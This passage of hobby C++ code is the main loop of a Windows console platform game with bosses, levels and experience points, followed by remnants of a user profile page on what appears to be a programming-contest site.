SetConsoleCursorInfo(GetStdHandle(STD_OUTPUT_HANDLE),&cursor_info); srand((unsigned)time(NULL)); Win=0; Ren=1; Lv=1; Blo=Blomax=100; Expmax=300; Hui=15; X=18,Y=6; ReStart: system("cls"); memset(B,0,sizeof(B)); memset(I,-1,sizeof(I)); T=0; bl=0; br=-1; Upt=0; Start: Blo=Blomax; Ding=6.25; memset(Bgo1,0,sizeof(Bgo1)); memset(Bgo2,0,sizeof(Bgo2)); memset(Bgo3,0,sizeof(Bgo3)); if(Win%2==0) T=0; if(Win%2==0&&D==0) { if(Win>0)Ball(5); Boss=0; lL: L=rand()%4+1; for(int i=0; i<=Win/2-1; i++)if(L==Ll[i]) goto lL; Ll[Win/2]=L; } if(Win%2==1&&D==0) { if(Win==7)Boss=6,T=0,Blomax+=100; else { bl: Boss=rand()%3+1; for(int i=0; i<=3; i++)if(Boss==Bl[i]) goto bl; } Bl[Win/2]=Boss; Bwhat1=Bwhat2=Bwhat3=0,Bx1=10,By1=20,Bx2=15,By2=20,Bx3=21,By3=20; system("color 4C"); Sleep(20); system("color 0F"); Map(0,1); Sleep(1000); } if(Win%2==1) { Bblomax=500+(Win/2)*500; Bblo=Bblomax; if(Boss==2) Ding=12.25; } while(1) { T++; if(Wind==0) { if(GetAsyncKeyState(VK_LEFT)&0x8000) Vy=-(10-abs(Ding-Y)*1.5)/20.0; if(GetAsyncKeyState(VK_RIGHT)&0x8000) Vy=(10-abs(Ding-Y)*1.5)/20.0; } if(GetAsyncKeyState(VK_UP)&0x8000&&u1==0) { u1++; if(Down==1) { Down=0; Up=0; if(Ren==2)Map(-1,0),Vx=0,X=18,Li=5; else Vx=7,Vy=0.3; } else if(Up==0&&Wind==0) { Down=0; Up=1; if(Ren==2)Map(-1,0),Vx=1,X=10,Map(0,3),Li=5; else Vx=2,Vy=0.1; } else if(Up==1&&Wind==0) { Down=0; Up=2; if(Ren==2)Map(-1,0),Vx=1,X-=6,Map(0,3),Li=5; else Vx=1.5,Vy=0.1; } else if(Ren==3&&Up==2&&Wind==0) { Down=0; Up=3; Vx=1; Vy=0.5; Upt=30; } else if(Ren==4&&Up==2&&Wind==0) { Down=0; Up=3; Vx=1.8; Vy=0.1; } } if(GetAsyncKeyState(VK_DOWN)&0x8000&&u2==0) { u2++; if(Down==1&&Ren==5) { Down=2; Up=0; Vx=-1.7; } else { Down=1; Up=0; if(Ren==2)Map(-1,0),Vx=0,X=22,Map(0,3),Li=5; else { if(Upt!=0) Map(-1,0),Upt=0; Vx=-7; } } } if((GetAsyncKeyState(VK_UP)&0x8000) ?0:1) u1=0; if((GetAsyncKeyState(VK_DOWN)&0x8000) ?0:1) u2=0; if(kbhit()) { char g=_getch(); if(g==' ') Sleep(100),Setpos(4,1),Sy++,system("pause"); } if(Sy==1) Setpos(4,1),printf(" "),Sy--; if(Drug==0) Blo=fmin((float)Blomax,Blo+Hui/100.0); else if(T%10==0)Blo--; if(T%20==0) { if(Kill!=0) Kill=0; if(Lvl!=0) Lvl=0; } if(Killb>0) Killb--; if(Li>0) Li--; if(Ice>0) Ice--; if(Drug>0) Drug--; if(Magne>0) Magne--; if(Fire>0) Ball(1),Fire--; if(Water>0) Ball(2),Water--; if(Wind>0) Ball(3),Wind--; if(Thun>0) Ball(4),Thun--; if(Boss==0) NorGuai(L,T%1500); RandGood(); if(T%20==1)Exp++; if(T%50==1) { Exp++; system("cls"); Setpos(20,0); Color(0); for(int i=1; i<=60; i++) printf("="); if(Win==0&&T<300) { Setpos(4,6); cout<<"上下 跳跃/下翻,左右 些微移动(松手即返回)"; Setpos(6,6); cout<<"球可以开启特殊效果,Exp积满(300)可提升 Lv。"; Setpos(8,6); cout<<"打败 7 波即胜利,打败 BOSS 有新天赋。"; Setpos(10,15); cout<<"空格可以暂停。"; } } Map(-1,0); if(Boss==1) Boss1(); if(Boss==2) Boss2(); if(Boss==3) Boss3(); if(Boss==6) Boss1(),Boss2(),Boss3(); Move(); Map(0,(bool)Kill); Color(0); Setpos(1,1); Blo=fmin(Blo,(float)Blomax); if(Boss==0)cout<<"Blood: "<<(int)Blo<<" "; Color(0); Setpos(1,9),cout<<"Death: "<<D<<" "; Setpos(2,1); Exp=min(Exp,Expmax); if(Exp>=Expmax)Exp=0,Lv++,Lvl++,Hui++,Blomax+=5; if(Lvl>0)Color(5); cout<<"Lv: "<<Lv; Color(0); Setpos(2,9); cout<<"Exp: "<<Exp<<" "; if(Boss>0) Setpos(3,1),cout<<"Blood : ",Ball(7); if(Boss>0&&Boss!=6) Setpos(4,1),cout<<"Boss Blood: ",Ball(6); if(Boss==6) Setpos(1,9),printf("Time: %0.1f s ",T/15.0); int speed=0; if(Win==0) speed=55; if(Win==1) speed=50; if(Win==2) speed=35; if(Win==3) speed=40; if(Win==4) speed=25; if(Win==5) speed=30; if(Win==6) speed=20; if(Win>=7) speed=17; if(Wind) speed/=2; Sleep(speed); if(Boss==3&&Bblo<=0) { for(int i=1; i<=4; i++) { br++; B[br].what=98; B[br].x=Bx3-1,B[br].y=By3-1+i; B[br].vy=4; B[br].life=1; br++; B[br].what=98; B[br].x=Bx3,B[br].y=By3-1+i; B[br].vy=4; B[br].life=1; br++; B[br].what=98; B[br].x=Bx3-2,B[br].y=By3-1+i; B[br].vy=4; B[br].life=1; } } if((Win%2==0&&T>=1400)||(Win%2==1&&Bblo<=0)||(Win==7&&T>=450)||Blo<=0) { Map(-1,0); break; } } if(Blo<=0) { Sleep(1000); D++; system("color 7F"); Setpos(15,11); Color(4); cout<<"GAME OVER..."; Sleep(2000); goto ReStart; } else if(Win==6) { system("color 7F"); Setpos(15,11); Color(4); cout<<"坚持30秒 !"; Sleep(2000); Setpos(30,0); Win++; D=0; } else if(Win==7) { Sleep(1000); system("color 6E"); Setpos(15,11); Color(5); cout<<"YOU WIN !"; Sleep(2000); Setpos(30,0); return 0; } else Sleep(1000),Win++,D=0; goto Start; }
)
再送你一个惊喜:
好玩的游戏(不要进入) -
通过的题目
-
最近活动
This person is lazy and didn't join any contests or homework. -
最近编写的题解
This person is lazy and didn't write any solutions.